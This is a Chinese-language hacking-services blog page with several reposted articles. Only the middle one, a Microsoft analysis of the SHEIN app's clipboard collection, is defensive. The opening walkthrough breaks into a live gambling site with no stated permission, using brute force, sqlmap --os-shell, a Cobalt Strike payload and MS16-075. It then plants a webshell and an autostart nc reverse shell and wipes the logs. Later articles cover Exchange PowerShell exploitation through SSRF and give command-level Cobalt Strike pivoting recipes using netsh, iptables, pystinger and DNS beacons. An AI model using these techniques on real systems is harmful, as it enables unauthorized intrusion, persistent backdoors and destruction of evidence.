Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863109792

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

一.前言

最近听说用某qipai产品建的站存在SQL注入，刚好别人发来一个qsqsssfoxga13131.png

渗透惯用套路一把梭

信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹

二.信息收集

q1qd4s23cdm13133.png

浏览器访问主页初步发现

系统：Windows server中间件 IIS7.5语言：ASPX

端口扫描

nmap -sV -T4 -p- 11x.xx.xxx.xx
2jb1pg1ulfz13135.png

开放的端口真不少 其中web服务的有几个：80(当前主页)、81、82、88、47001 81：是这个qipai站的后台 82：也是个后台，不知道是什么系统的后台，有验证码 88/47001：访问失败

1433：数据库 mssql

还开了 139、445但是被过滤了，不知道是不是有防火墙，后面再看

敏感目录扫描

先用 Dirsearch 过一遍，前面搜集到网站语言是 aspx，加上 -e 指定语言

python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
4e3cexcmlja13137.png

再用 7kbscan 过一遍，毕竟这里面收集的都是国人常用的字典

asrcaxamnfr13138.png

/m/是用户注册页面，可能有用，先记着

l1ru0enzbby13139.png

/test.html是调起微信的入口，没啥用，可能是在手机端引导受害者聊天的吧

hba4h0d30mo13140.png

查IP

北京某个运营商的服务器，菠菜在国内服务器建站挺大胆的

f0xaondrfzr13141.png

信息整理

4fd3xmhgwqn13143.png

估计就是个人建的小站，不去展开收集更过的东西了，免得打偏浪费时间

三.漏洞探测

重点先放在前面找到的 81 端口，也就是网站的后台管理页面

lewl0o23zyh13145.png

没有验证码，用户名 / 密码随便写个 admin / admin，抓包

khlzxhva5ep13148.png

用户名加了个引号发送请求直接返回报错了，不出意外应该会有报错注入或者盲注啥的

u2hwyrdf5k513151.png

兵分两路

一路把这个数据包保存到本地 qipai.txt，用 sqlmap 去扫，前面已经知道是 mssql 数据库，加上 --dbms 参数指定数据库类型节约时间

python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs

另一路，把数据包发送到 intruder 模块去爆破密码，尝试了在浏览器随便输入用户名，提示 "用户名不存在"，输入 admin 的时候提示 "用户名或密码错误"，说明 admin 账户是存在的，只爆破密码就行

b0zjvurw0kr13155.png

爆出密码 888999，弱口令，永远滴神！

成功登录后台iwuoqmayovk13159.png

只有 69 个注册用户，剩下的全是机器人，这 69 个用户冲了 143 万？玩qipai的都这么有钱吗，我欢乐doudizhu都舍不得冲 6 块首充

apseuyus2n013163.png

赌博沾不得呀，这个老哥一天输了 2800

1dsjukpmyhn13167.png

在后台翻了半天没找到上传点，先放着

回到另一路 sqlmap 看看，确定存在注入，已经在慢慢跑库名了

yq13enuehsw13171.png

跑出 16 个库，根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息

1gpi2j0qowl13175.png

跑表名

python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
1qta3vibjfr13179.png

翻了半天就找到一个管理员的账号密码，就是前面 bp 爆破出来的那个，还有一些用户的信息，没啥更有价值的

python sqlmap.py -r qipai.txt --is-dba
utzvei2thc213182.png

是 DBA 权限，尝试拿 shell，mssql 数据库直接用 sqlmap 爆破路径就行了

python sqlmap.py -r qipai.txt --os-shell

用的盲注，时间较慢，经过漫长的等待终于成功拿 shell，渗透呐，表面上是个技术活，实际上是个体力活

当前用户权限很小，只是个 mssql 数据库权限


uo0dgumn2id13187.png

Systeminfo 查看一下系统信息，可以看到系统是 64 位的 Windows server 2008

Cobaltstrike 生成攻击载荷，再目标机器上用 powershell 加载，目标机器成功上线


gkvsub2hlxk13190.png

net user查看用户

yxcvuarp3zr13194.png

tasklist查看进程，应该没有装杀软

g4wt2oxf05z13199.png

net start查看已开启的服务，可以看到防火墙是开启的，所以前面 nmap 扫描 445 等端口被过滤

yw0ewpvtb4e13200.png

关闭防火墙，额还没提权

h4vouzhpph513202.png

四.提权/wei权

前面得知这个机器是 windows server 2008，尝试用土豆提权（MS16-075）

um1dx31hvmu13203.png

执行后稍等了一会儿，比较幸运，这个机器没打补丁，一次就提权成功，拿到 system 权限，开始为所欲为

jmwxgozhomr13207.png

进入文件管理，能看到前面信息收集时的 test.html 文件

a1itqm2gzzj13208.png

netstat -ano看一下端口开放情况，3389 没有开

vor0mbdnsxh13212.png

手动开启一下

ttphx0wosbg13213.png

可以访问远程桌面了

rjxte2yiofz13216.png

cobaltstrike 操作我不是很熟练，还是用 metasploite 吧，通过 cs 上传一个 msf 生成的马，msf 开启监听

注：cs 可以直接派生 shell 给 msf，但是当时我尝试的老半天 msf 一直没有返回 session，所以才无奈先手动上传一个 msf 的马曲线救国

vgrneowewxh13220.png

msf 开启监听

ie1fmlf3wug13224.png

在 cs 上运行上传的马

sgxilzb3il113226.png

msf 成功拿到 shell，是继承的 system 权限

buuriv05gnc13230.png

查看密码哈希，不能获取，因为msf的这个马是32位的，系统是64位的

xxamsgmipqr13233.png

ps查看进程，在进程中找一个以 system 权限运行的 64 位的程序，迁移进程后再获取哈希pte0qanhvd213236.png

到在线破解哈希的网站查一下 administrator 的密码，密码不算复杂，几秒钟就查到了

xruqb2wfbm313238.png

成功登录远程桌面

kgnlx4xdpuj13241.png

留两个后门，一个webshell，一个开机自启的nc用来反弹shell

1gaydxbf3yu13244.png

五.清理痕迹，撤退

meterpreter 的 clearv命令一键清除

ko5rr5x441e13246.png

或者手动删除 Windows 日志

rgvlynp4gsx13248.png

六.总结

3rqpu42uvhe13251.png

七.实验推荐

利用sqlmap辅助手工注入

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia

通过本实验的学习，你能够了解sqlmap，掌握sqlmap的常用命令，学会使用sqlmap辅助手工完成注入。



转载于原文链接：

https://www.freebuf.com/articles/network/250744.html

HireHackking

1.png出於安全原因，在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址，而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容，並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下，受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。

這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播，並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月，在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。

安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序，該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰，以控制受害者的以太坊資金。但是，它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。

為了減輕此類隱私風險，谷歌近年來對Android 進行了進一步改進，包括在應用程序訪問剪貼板時顯示toast 消息，並禁止應用程序獲取數據，除非它在前台主動運行。

前言安全研究人員發現，中國時尚電子零售商Shein 的Android 應用程序存在缺陷，允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器，受影響的用戶數量可能達到數百萬，因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO，成立於2008 年，是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0，在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元，預計2022 年將超過200 億美元。

Microsoft 365 Defender 研究團隊表示，他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。

雖然微軟研究人員並未發現應用程序開發人員有任何惡意，但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。

Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性，也就是說，放在剪貼板上的所有內容都是公共的，設備上所有正在運行的應用程序都可以訪問，無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中，這不是一個嚴重的安全問題，因為它的剪貼板是用戶驅動的，一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。

相比之下，Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問，各種用戶，即應用程序，都可以在Android剪貼板上任意操作，不受任何限制。更糟糕的是，移動設備的屏幕尺寸有限。首先，用戶更有可能在移動設備上複製和粘貼數據，以節省打字工作量。此外，在將內容從剪貼板粘貼到應用程序後，用戶可以看到的字符更少，從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。

考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息，如密碼或支付信息，剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例，例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外，這些類型的攻擊濫用合法的系統功能而不是利用漏洞，使得問題更難以緩解。

微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容，如果存在特定模式，則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖，但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。

SHEIN 的Android 應用程序在Google Play 商店發布，下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意，這個案例也凸顯了安裝的應用程序可能帶來的風險，包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現，推動他們的Android 安全團隊展開調查。 2022 年5 月，谷歌通知我們，我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。

在此博文中，我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為，以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究，以強調協作在提高所有人安全性方面的重要性。

靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在，我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析，以確定對行為負責的相關代碼。然後，我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼，包括它如何讀取剪貼板並將其內容髮送到遠程服務器。

2.png

圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例

識別代碼打開應用程序後，啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類，該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用，如下面第11 行所示:

3.png

圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用

com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ，部分描述如下，在同一類中執行對方法o 的調用，如第16 行所示：

4.png

圖3. 方法h執行對同一類中方法o的調用

最後，在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法，如第2 行所示：

5.png

圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法

方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示，檢查字符序列“$”和“://”是否存在於剪貼板文本中，如第6 行所示。如果兩者都存在，則調用同一類中的方法k，並將剪貼板文本作為參數提供，如第8行所示:

6.png

圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”，將剪貼板文本作為參數提供給方法k

方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流，該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求，解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase：

7.png

圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流，它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求

由於應用程序的所有活動（用戶界面）都擴展了com.zzkko.base.ui.BaseActivity，因此只要用戶啟動新活動，例如通過啟動或恢復應用程序或在其中執行某些操作，就會觸發上述調用鏈應用程序。

驗證代碼的剪貼板行為為了驗證我們的靜態分析結果，我們對該應用程序進行了動態分析，該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。

我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用，以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書，使我們能夠使用Burp Proxy分析網絡流量。

我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。

打開應用程序後，記錄了以下調用：

8.png

圖7. 顯示應用剪貼板過濾的通話記錄

在上面的圖7 中，我們觀察到以下內容：

第28 行：調用函數com.zzkko.util.MarketClipboardPhaseLinker.f

第29-49 行：堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F

第53、55 行：調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法

最後，執行對api-service[.]shein[.]com 的POST 請求。隨後，我們在Burp Proxy 中捕獲了以下請求，顯示了剪貼板內容到遠程服務器的傳輸：

9.png

圖8. 將剪貼板內容傳輸到遠程服務器

安卓剪貼板保護如涉及SHEIN 的此案例所示，Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板，而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程，例如快速選擇要復制的文本，但應用程序通常不需要這樣做，因為複制和粘貼通常由設備輸入法編輯器（鍵盤）執行，它是一個單獨的應用程序。

為了解決我們的研究發現和手頭更廣泛的問題，谷歌已經認識到與剪貼板訪問相關的風險，並對Android平台進行了以下改進以保護用戶：

在Android 10 及更高版本上，應用程序無法訪問剪貼板，除非它當前具有焦點（正在設備顯示屏上主動運行）或被設置為默認輸入法編輯器（鍵盤）。此限制可防止後台應用程序訪問剪貼板，但不會阻止此處描述的行為，因為SHEIN 應用程序在前台運行。

在Android 12 及更高版本上，當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時，會顯示一條toast 消息通知用戶。

10.png

圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例

Android 13會在一段時間後清除剪貼板的內容，以提供額外程度的保護。

用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示，他們應該假設剪貼板上的任何數據都可能受到損害，並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。

負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意，但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險，例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。

我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險：

始終保持設備和已安裝的應用程序是更新後的最新狀態

切勿安裝來自不受信任來源的應用程序

考慮刪除具有意外行為的應用程序，例如剪貼板訪問toast 通知，並將該行為報告給供應商或應用程序商店運營商

在發現SHEIN Android 應用程序剪貼板行為後，我們與Google 的Android 安全團隊合作，確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。

HireHackking

0x00 前言Exchange Powershell基於PowerShell Remoting，通常需要在域內主機上訪問Exchange Server的80端口，限制較多。本文介紹一種不依賴域內主機發起連接的實現方法，增加適用範圍。

注：

該方法在CVE-2022–41040中被修復，修復位置：C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress)，如下圖

1.png

0x01 簡介本文將要介紹以下內容：

實現思路

實現細節

0x02 實現思路常規用法下，使用Exchange Powershell需要注意以下問題：

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN，不支持IP

常規用法無法在域外發起連接，而我們知道，通過ProxyShell可以從域外發起連接，利用SSRF執行Exchange Powershell

更進一步，在打了ProxyShell的補丁後，支持NTLM認證的SSRF沒有取消，我們可以通過NTLM認證再次訪問Exchange Powershell

0x03 實現細節在代碼實現上，我們可以加入NTLM認證傳入憑據，示例代碼：

3.png

在執行Exchange Powershell命令時，我們可以選擇pypsrp或者Flask，具體細節可參考之前的文章《ProxyShell利用分析2——CVE-2021-34523》 和《ProxyShell利用分析3——添加用户和文件写入》

pypsrp或者Flask都是通過建立一個web代理，過濾修改通信數據實現命令執行

為了增加代碼的適用範圍，這裡選擇另外一種實現方法：模擬Exchange Powershell的正常通信數據，實現命令執行

可供參考的代碼：https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

代碼使用了Python2，實現了ProxyShell的利用

基於這個代碼，改寫成支持Python3，功能為通過NTLM認證訪問Exchange Powershell執行命令，具體需要注意的細節如下：

1.Python2和Python3在格式化字符存在差異(1)

Python2下可用的代碼：

4.png

以上代碼在Python3下使用時，需要將Str轉為bytes，並且為了避免不可見字符解析的問題，代碼結構做了重新設計，Python3可用的代碼：

11.png

(2)

Python2下可用的代碼：

12.png以上代碼在Python3下使用時，需要將Str轉為bytes，Python3可用的示例代碼：

13.png

(3)

Python2下可用的代碼：

15.png 16.png

以上代碼在Python3下使用時，需要將Str轉為bytes，為了避免不可見字符解析的問題，這裡不能使用.decode('utf-8')，改為使用.decode('ISO-8859-1')

Python3可用的示例代碼：

17.png

2.支持Exchange Powershell命令的XML文件格式XML文件格式示例1：

20.png

對應執行的命令為：Get-RoleGroupMember 'Organization Management'

XML文件格式示例2：

21.png

對應執行的命令為：Get-Mailbox -Identity administrator

通過格式分析，可得出以下結論：

(1)屬性Cmd對應命令名稱例如：

22.png

(2)傳入的命令參數需要注意格式如果只傳入1個參數，對應的格式為：

23.png如果傳入2個參數，對應的格式為：

24.png

如果傳入4個參數，對應的格式為：

25.png為此，我們可以使用以下代碼實現參數填充：

26.png構造XML文件格式的實現代碼：

27.png 28.png 29.png結合以上細節後，我們可以得出最終的實現代碼，代碼執行結果如下圖

Unknown.png

0x04 小結本文介紹了遠程訪問Exchange Powershell的實現方法，優點是不依賴於域內主機上發起連接，該方法在CVE-2022–41040中被修復。

HireHackking

0x01 存在一台中转机器

存在一台中转机器，这台机器出网，这种是最常见的情况。

经常是拿下一台边缘机器，其有多块网卡，内网机器都不出网。这种情况下拿这个边缘机器做中转，就可以上线。

拓扑大致如下:

image-20220516141642261.png

上线方法一： SMB Beacon

介绍

官网介绍：SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons连接后，子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。

image.png

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法：在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb（smb为我的smb listener名字）

image-20220421232107035.png

使用插件，或自带端口扫描，扫描内网机器

image-20220421234112584.png

转到视图，选择目标

image-20220421234143265.png

使用psexec

image-20220421234333884.png

选择一个hash，选择smb 监听器和对应会话

image-20220421234419445.png

即可上线

image-20220422000337348.png

image-20220422000428622.png

运行成功后外部可以看到∞∞这个字符，这就是派生的SMB Beacon。

当前是连接状态，你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

image-20220422000410651.png

image-20220422000458483.png

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行，但是目标主机并不会直接上线的，需要我们自己用链接命令(link <ip>)去连接它。

上线方法二：中转listener(Reverse TCP Beacon)

其实和方法一是类似的

image-20220422000759017.png

以下内容会自动配置

image-20220422000840172.png

然后和上面方法一一样，发现内网主机且知道账号密码,psexec横向传递，选择中转listener

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

上线方法三：HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理，项目地址：

https://github.com/snail007/goproxy

过程：

1.上传proxy.exe到web服务器(边缘主机)，在8080端口开启http代理

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口，否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.创建listener，配置如下

image-20220516163325095.png

4.生成stageless payload，在业务服务器上执行，成功上线

image-20220516163441748.png

连接过程

192.168.111.236  → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89)

上线方法四、TCP Beacon(正向)

  • 正向连接
  • 和SMB Beacon比较类似。也需要一个父beacon
  • SMB Beacon，TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击（比如： Attacks → Packages 、 Attacks → Web Drive-by ）。

测试：

生成一个tcp beacon

image-20220424145301486.png

使用该beacon生成一个stageless形式的木马：

image-20220424145438941.png

上传到目标机器运行：

image-20220424150129703.png

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

image-20220424150307350.png

要销毁一个 Beacon 链接，在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后，你可以从同一主机（或其他主机）重新连接到 TCP Beacon。

image-20220424150527311.png

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。 这里仅简单演示一下：

一般不会将pystinger用在这种场景下

测试环境：

攻击机kali：192.168.1.35

web服务器：192.168.1.70、192.168.111.129

业务服务器：192.168.111.236

过程：

1.上传proxy.php到WEB服务器网站目录，正常访问返回UTF-8

web服务器外网ip为192.168.1.70

image-20220517181300013.png

上传stinger_server.exe，执行

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip，端口为60020：

image-20220517181223593.png

使用psexec横向移动，选择listener为pystinger，或者直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线：

image-20220517182051748.png

image-20220517181145075.png

补充：中转机器为Linux

HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发：

echo 1 >/proc/sys/net/ipv4/ip_forward

iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080

iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131

测试：

中转机器(192.168.111.142)

image-20220423214555465.png

攻击机

image-20220423222203087.png

生成stageless payload，在目标机器上执行，成功上线

image-20220423222359445.png

image-20220423222645751.png

连接过程：(重新截的图，端口改了一下8080->8081)

image-20220423222847432.png

192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2)

使用pystinger进行代理转发

和上面上线方法五一样，建立pystinger连接之后，直接生成payload在业务主机执行，业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

image-20220424110511841.png

CrossC2使用

用来上线Linux或MacOS机器

项目地址： 【一定要下载对应版本的】

https://github.com/gloxec/CrossC2

配置：

(我这里在Windows上运行的teamserver)

image-20220517214639195.png

创建个https监听：

image-20220517215034645.png

生成个payload

(用其他方式也可以)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

如果生成不了，也可以直接命令行生成

image-20220517221232018.png

生成之后，上传到Linux机器，运行，即可上线：

image-20220517221438333.png

image-20220517221454859.png

安装CrossC2Kit插件，丰富beacon的功能

image-20220517222854932.png

image-20220517222935500.png

内网机器上线CS:

中转的Linux机器上线之后，即可用上面的方法来上线内网机器。

TCP Beacon：

image-20220517224718810.png

image-20220517224749945.png

上传到目标机器运行。

然后在Linux beacon下连接：

image-20220517225035484.png

上线之后是个黑框，checkin一下就可以了

还是建议使用上面两种方法。

0x02 边缘机器只有DNS协议出网

DNS上线CS

一、准备工作

1）域名 ，godaddy ：yokan.xxx
2）vps，防火墙开放UDP端口53 : 82.xxx.xxx.19

image-20220518120029278.png

3）cobalt strike 4.1

二、域名设置

1）设置解析

配置A记录设置成vps的ip，cs也配置在vps上

image-20220518121450765.png
配置几个ns记录 指向刚刚A记录对应的域名

image-20220518122329148.png

配置完成之后ping test.yokan.xxx可以ping通
image-20220518122521793.png

vps上查看53端口占用情况，停掉vps的53端口服务
image-20220518122733717.png

systemctl stop systemd-resolved

image-20220518122856917.png

image-20220518122842743.png

2）cs设置监听

image-20220518123540718.png![image-

都是ns记录的域名，DNS Host(Stager)随便选择其中一个就可以。

image-20220518123718604.png

3）nslookup查看 ，成功解析：

image-20220518123921308.png

注意：响应的地址74.125.196.113，这个是跟profile里设置的

image-20220518124037907.png

三、cs上线

生成cs的stageless上线马，执行上线

stageless 马 dns有x64版本 , stager没有

image-20220518125111240.png

image-20220518124359454.png

上线之后是黑框，需要使用checkin命令让dns beacon强制回连teamserver

image-20220518124416459.png

PS:需要多等一会

image-20220518125128422.png

这样就可以正常交互了：

image-20220518124700940.png

0x03 边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景：边缘机器各种协议均不出网，但是可以正向访问到。</font >

使用：

先让自己的攻击机上线

image-20220424163629329.png

然后，如"上线方法四"一样，使用TCP Beacon生成一个stageless形式的木马，上传到目标机器，并运行。

image-20220424163851956.png

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

image-20220424164004378.png

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景：边缘机器各种协议均不出网，但是存在web服务，已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理：

Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs

image-20220517174612140.png

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了：

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
